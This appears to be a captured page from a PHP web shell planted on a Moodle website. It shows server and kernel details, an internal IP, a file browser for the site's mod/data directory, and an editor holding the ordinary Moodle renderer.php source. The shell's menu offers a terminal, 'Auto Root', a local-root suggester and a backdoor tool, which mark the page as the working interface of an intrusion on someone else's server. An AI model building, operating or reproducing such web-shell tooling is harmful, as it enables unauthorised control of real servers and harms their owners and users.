Linux cesa-www-main 6.1.0-49-cloud-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
Apache/2.4.68 (Debian)
Server IP : 10.218.0.2 & Your IP : 216.73.216.28
Domains :
Cant Read [ /etc/named.conf ]
User : www-data
Terminal
Auto Root
Create File
Create Folder
Localroot Suggester
Backdoor Destroyer
Readme
/
var /
www /
cesa.co.za /
sipdm.cesa.co.za /
mod /
data /
Delete
Unzip
Name
Size
Permission
Date
Action
backup
[ DIR ]
drwxr-sr-x
2017-06-22 15:10
classes
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
db
[ DIR ]
drwxr-sr-x
2017-06-22 15:19
field
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
lang
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
pix
[ DIR ]
drwxr-sr-x
2017-06-22 15:20
preset
[ DIR ]
drwxr-sr-x
2017-06-22 15:11
tests
[ DIR ]
drwxr-sr-x
2017-06-22 15:20
css.php
1.56
KB
-rw-r--r--
2017-06-22 15:19
data.js
1.89
KB
-rw-r--r--
2017-06-22 15:19
edit.php
13.14
KB
-rw-r--r--
2017-06-22 15:19
export.php
4.2
KB
-rw-r--r--
2017-06-22 15:19
export_form.php
3.94
KB
-rw-r--r--
2017-06-22 15:19
field.php
13.58
KB
-rw-r--r--
2017-06-22 15:20
import.php
6.7
KB
-rw-r--r--
2017-06-22 15:20
import_form.php
1.26
KB
-rw-r--r--
2017-06-22 15:20
index.php
4.9
KB
-rw-r--r--
2017-06-22 15:20
js.php
1.57
KB
-rw-r--r--
2017-06-22 15:20
lib.php
141.03
KB
-rw-r--r--
2017-06-22 15:20
locallib.php
24.39
KB
-rw-r--r--
2017-06-22 15:20
mod_form.php
4.8
KB
-rw-r--r--
2017-06-22 15:20
module.js
382
B
-rw-r--r--
2017-06-22 15:20
preset.php
10.91
KB
-rw-r--r--
2017-06-22 15:20
preset_form.php
2.9
KB
-rw-r--r--
2017-06-22 15:20
renderer.php
4.23
KB
-rw-r--r--
2017-06-22 15:20
rsslib.php
7.33
KB
-rw-r--r--
2017-06-22 15:20
settings.php
606
B
-rw-r--r--
2017-06-22 15:20
styles.css
2.54
KB
-rw-r--r--
2017-06-22 15:20
tabs.php
5.24
KB
-rw-r--r--
2017-06-22 15:20
templates.php
14.75
KB
-rw-r--r--
2017-06-22 15:20
upgrade.txt
329
B
-rw-r--r--
2017-06-22 15:20
version.php
1.18
KB
-rw-r--r--
2017-06-22 15:20
view.php
39.68
KB
-rw-r--r--
2017-06-22 15:20
Save
Rename
<?php defined('MOODLE_INTERNAL') || die(); class mod_data_renderer extends plugin_renderer_base { public function import_setting_mappings($datamodule, data_preset_importer $importer) { $strblank = get_string('blank', 'data'); $strcontinue = get_string('continue'); $strwarning = get_string('mappingwarning', 'data'); $strfieldmappings = get_string('fieldmappings', 'data'); $strnew = get_string('new'); $params = $importer->get_preset_settings(); $settings = $params->settings; $newfields = $params->importfields; $currentfields = $params->currentfields; $html = html_writer::start_tag('div', array('class'=>'presetmapping')); $html .= html_writer::start_tag('form', array('method'=>'post', 'action'=>'')); $html .= html_writer::start_tag('div'); $html .= html_writer::empty_tag('input', array('type'=>'hidden', 'name'=>'action', 'value'=>'finishimport')); $html .= html_writer::empty_tag('input', array('type'=>'hidden', 'name'=>'sesskey', 'value'=>sesskey())); $html .= html_writer::empty_tag('input', array('type'=>'hidden', 'name'=>'d', 'value'=>$datamodule->id)); if ($importer instanceof data_preset_existing_importer) { $html .= html_writer::empty_tag('input', array('type'=>'hidden', 'name'=>'fullname', 'value'=>$importer->get_userid().'/'.$importer->get_directory())); } else { $html .= html_writer::empty_tag('input', array('type'=>'hidden', 'name'=>'directory', 'value'=>$importer->get_directory())); } if (!empty($newfields)) { $html .= $this->output->heading_with_help($strfieldmappings, 'fieldmappings', 'data', '', '', 3); $table = new html_table(); $table->data = array(); foreach ($newfields as $nid => $newfield) { $row = array(); $row[0] = html_writer::tag('label', $newfield->name, array('for'=>'id_'.$newfield->name)); $attrs = array('name' => 'field_' . $nid, 'id' => 'id_' . $newfield->name, 'class' => 'custom-select'); $row[1] = html_writer::start_tag('select', $attrs); $selected = false; foreach ($currentfields as $cid => $currentfield) { if ($currentfield->type != $newfield->type) { continue; } if ($currentfield->name == $newfield->name) { $row[1] .= html_writer::tag('option', get_string('mapexistingfield', 'data', $currentfield->name), array('value'=>$cid, 'selected'=>'selected')); $selected=true; } else { $row[1] .= html_writer::tag('option', get_string('mapexistingfield', 'data', $currentfield->name), array('value'=>$cid)); } } if ($selected) { $row[1] .= html_writer::tag('option', get_string('mapnewfield', 'data'), array('value'=>'-1')); } else { $row[1] .= html_writer::tag('option', get_string('mapnewfield', 'data'), array('value'=>'-1', 'selected'=>'selected')); } $row[1] .= html_writer::end_tag('select'); $table->data[] = $row; } $html .= html_writer::table($table); $html .= html_writer::tag('p', $strwarning); } else { $html .= $this->output->notification(get_string('nodefinedfields', 'data')); } $html .= html_writer::start_tag('div', array('class'=>'overwritesettings')); $html .= html_writer::tag('label', get_string('overwritesettings', 'data'), array('for' => 'overwritesettings')); $attrs = array('type' => 'checkbox', 'name' => 'overwritesettings', 'id' => 'overwritesettings', 'class' => 'm-l-1'); $html .= html_writer::empty_tag('input', $attrs); $html .= html_writer::end_tag('div'); $html .= html_writer::empty_tag('input', array('type' => 'submit', 'class' => 'btn btn-primary', 'value' => $strcontinue)); $html .= html_writer::end_tag('div'); $html .= html_writer::end_tag('form'); $html .= html_writer::end_tag('div'); return $html; } }